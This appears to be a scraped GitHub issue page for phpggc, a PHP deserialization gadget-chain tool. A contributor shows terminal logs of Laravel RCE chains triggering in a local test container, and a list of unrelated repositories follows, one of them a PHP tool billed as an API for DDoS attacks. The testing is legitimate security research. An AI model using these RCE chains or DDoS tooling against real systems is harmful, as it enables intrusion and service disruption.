    the Symfony/rce7: image Symfony/fd1: image so many versions so I didn't use the test-compatibility.py

    opened by CyanM0un 0
  • the rest of chains for Laravel

    the rest of chains for Laravel

    Hi, for your convenience this time, I test the compatibility and have some questions. The result of test-gc-compatibility.py shows that RCE13, RCE15 and RCE16 maps these versions: image ...... image ...... image which I have written in the chain.php.

    But when I use composer to build and test the project manually, the results show that it all worked. And I am confused about this. for example the 8.6.12:

    root@26ff7789df03:/phpggc# composer create-project laravel/laravel=8.6.12 laravel_8.6.12
    root@26ff7789df03:/phpggc# cd laravel_8.6.12/
    root@26ff7789df03:/phpggc/laravel_8.6.12# php ../phpggc laravel/rce12 --test-payload
    Trying to deserialize payload...
    SUCCESS: Payload triggered !
    root@26ff7789df03:/phpggc/laravel_8.6.12# php ../phpggc laravel/rce14 --test-payload
    Trying to deserialize payload...
    PHP Fatal error:  Uncaught OverflowException: Maximum retries of 1 reached without finding a valid value in /phpggc/laravel_8.6.12/vendor/fakerphp/faker/src/Faker/ValidGenerator.php:72
    Stack trace:
    #0 /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php(72): Faker\ValidGenerator->__call()
    #1 [internal function]: Illuminate\Broadcasting\PendingBroadcast->__destruct()
    #2 {main}
      thrown in /phpggc/laravel_8.6.12/vendor/fakerphp/faker/src/Faker/ValidGenerator.php on line 72
    SUCCESS: Payload triggered !
    root@26ff7789df03:/phpggc/laravel_8.6.12# php ../phpggc laravel/rce16 --test-payload
    Trying to deserialize payload...
    SUCCESS: Payload triggered !
    root@26ff7789df03:/phpggc/laravel_8.6.12# php ../phpggc laravel/rce15 --test-payload
    Trying to deserialize payload...
    PHP Fatal error:  Uncaught Error: Call to a member function connect() on string in /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Queue/QueueManager.php:163
    Stack trace:
    #0 /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Queue/QueueManager.php(138): Illuminate\Queue\QueueManager->resolve()
    #1 /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Queue/QueueManager.php(291): Illuminate\Queue\QueueManager->connection()
    #2 /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php(72): Illuminate\Queue\QueueManager->__call()
    #3 [internal function]: Illuminate\Broadcasting\PendingBroadcast->__destruct()
    #4 {main}
      thrown in /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Queue/QueueManager.php on line 163
    SUCCESS: Payload triggered !
    root@26ff7789df03:/phpggc/laravel_8.6.12# php ../phpggc laravel/rce13 --test-payload
    Trying to deserialize payload...
    PHP Fatal error:  Uncaught TypeError: Argument 1 passed to Illuminate\Database\DatabaseManager::configure() must be an instance of Illuminate\Database\Connection, array given, called in /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Database/DatabaseManager.php on line 95 and defined in /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Database/DatabaseManager.php:175
    Stack trace:
    #0 /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Database/DatabaseManager.php(95): Illuminate\Database\DatabaseManager->configure()
    #1 /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Database/DatabaseManager.php(442): Illuminate\Database\DatabaseManager->connection()
    #2 /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php(72): Illuminate\Database\DatabaseManager->__call()
    #3 [internal function]: Illuminate\Broadcasting\PendingBroadcast->__destruct()
    #4 {main}
      thrown in /phpggc/laravel_8.6.12/vendor/laravel/framework/src/Illuminate/Database/DatabaseManager.php on line 175
    SUCCESS: Payload triggered !
    

    And for the versions >= 9.0.0, it requires PHP > 8, the PHP 7.4 can't composer install (I am not sure if this has anything to do with the result), I changed the PHP environment and the results show the same:

    composer create-project laravel/laravel=9.3.10
    

    13_7M2C %%MR0NYF)FOY3S2 Emmmm ... really confused.

    opened by CyanM0un 0
Owner
Ambionics Security
Offensive & Continuous Web Security Assessment
Ambionics Security
SЁCU is a public API to store self-destructing data payloads with url shortener and handle anonymous chat-rooms.

SЁCU Introduction SЁCU is a public API to store self-destructing data payloads. This repository includes only backend part using Laravel framework. Fr

SЁCU 27 Nov 21, 2022
Let's Encrypt/ACME Command Line client written in PHP

Acme PHP Acme PHP is a simple yet very extensible CLI client for Let's Encrypt that will help you get and renew free HTTPS certificates. Acme PHP is a

Acme PHP 539 Dec 30, 2022
ChestRandomBP: This plugin generates chests in random places within a specific world. Where you can customize what each one of them contains, the time and the world of spawning.

ChestRandomBP ChestRandomBP: This plugin generates chests, it works PocketMine-MP and random places within a specific world. Where you can customize w

null 5 Sep 19, 2021
API in PHP for DDoS Attacks (sends a command to a SSH Server from a URL)

SSH-PHP-API API in PHP for DDoS Attacks (sends a command to a SSH Server from a URL) [Install on Ubuntu 20.04: apt install apache2 php php-fpm php-ssh

Вентокс 3 Sep 23, 2022
Automatic SQL injection and database takeover tool

sqlmap sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of

sqlmapproject 25.7k Jan 5, 2023
Tool to store text encrypted in the cloud.

CryptPaste The free open source way to store encrypted text. How it works First your input is encrypted in the browser with javascript, then it is enc

null 0 Jan 10, 2022
All in one tool for Information Gathering and Vulnerability Scanning

All in one tool for Information Gathering, Vulnerability Scanning and Crawling. A must have tool for all penetration testers

r3dhax0r 2.3k Jan 3, 2023
php-chmod is a PHP library for easily changing permissions recursively.

PHP chmod php-chmod is a PHP library for easily changing the permissions recursively. Versions & Dependencies Version PHP Documentation ^1.1 ^7.4 curr

Mathias Reker ⚡️ 5 Oct 7, 2022
PHP Secure Communications Library

phpseclib - PHP Secure Communications Library Supporting phpseclib Become a backer or sponsor on Patreon One-time donation via PayPal or crypto-curren

null 4.9k Jan 7, 2023
TCrypto is a simple and flexible PHP 5.3+ in-memory key-value storage library

About TCrypto is a simple and flexible PHP 5.3+ in-memory key-value storage library. By default, a cookie will be used as a storage backend. TCrypto h

timoh 57 Dec 2, 2022
A petite library of encryption functions for PHP

?? dcrypt A petite library of essential encryption functions for PHP 7.1+. For legacy PHP version support, look here. If you need a dcrypt inspired en

null 96 Oct 6, 2022
Sodium Compat is a pure PHP polyfill for the Sodium cryptography library (libsodium)

Sodium Compat is a pure PHP polyfill for the Sodium cryptography library (libsodium), a core extension in PHP 7.2.0+ and otherwise available in PECL.

Paragon Initiative Enterprises 817 Dec 26, 2022
JSON Object Signing and Encryption library for PHP.

NAMSHI | JOSE Deprecation notice Hi there, as much as we'd like to be able to work on all of the OSS in the world, we don't actively use this library

Namshi 1.7k Dec 22, 2022
A PHP library for counting short DNA sequences for use in Bioinformatics

Helix A PHP library for counting short DNA sequences for use in Bioinformatics. Helix consists of tools for data extraction as well as an ultra-low me

Andrew DalPino 2 Jan 25, 2022
A library for generating random numbers and strings

RandomLib A library for generating random numbers and strings of various strengths. This library is useful in security contexts. Install Via Composer

Anthony Ferrara 832 Nov 24, 2022
Fast, general Elliptic Curve Cryptography library. Supports curves used in Bitcoin, Ethereum and other cryptocurrencies (secp256k1, ed25519, ..)

Fast Elliptic Curve Cryptography in PHP Information This library is a PHP port of elliptic, a great JavaScript ECC library. Supported curve types: Sho

Simplito 178 Dec 28, 2022
A multitool library offering access to recommended security related libraries, standardised implementations of security defences, and secure implementations of commonly performed tasks.

SecurityMultiTool A multitool library offering access to recommended security related libraries, standardised implementations of security defences, an

Pádraic Brady 131 Oct 30, 2022
A modern, portable, easy to use crypto library.

Sodium is a new, easy-to-use software library for encryption, decryption, signatures, password hashing and more. It is a portable, cross-compilable, i

Frank Denis 10.7k Jan 1, 2023
A cryptography API wrapping the Sodium library, providing a simple object interface for symmetrical and asymmetrical encryption, decryption, digital signing and message authentication.

PHP Encryption A cryptography API wrapping the Sodium library, providing a simple object interface for symmetrical and asymmetrical encryption, decryp

null 19 Dec 31, 2022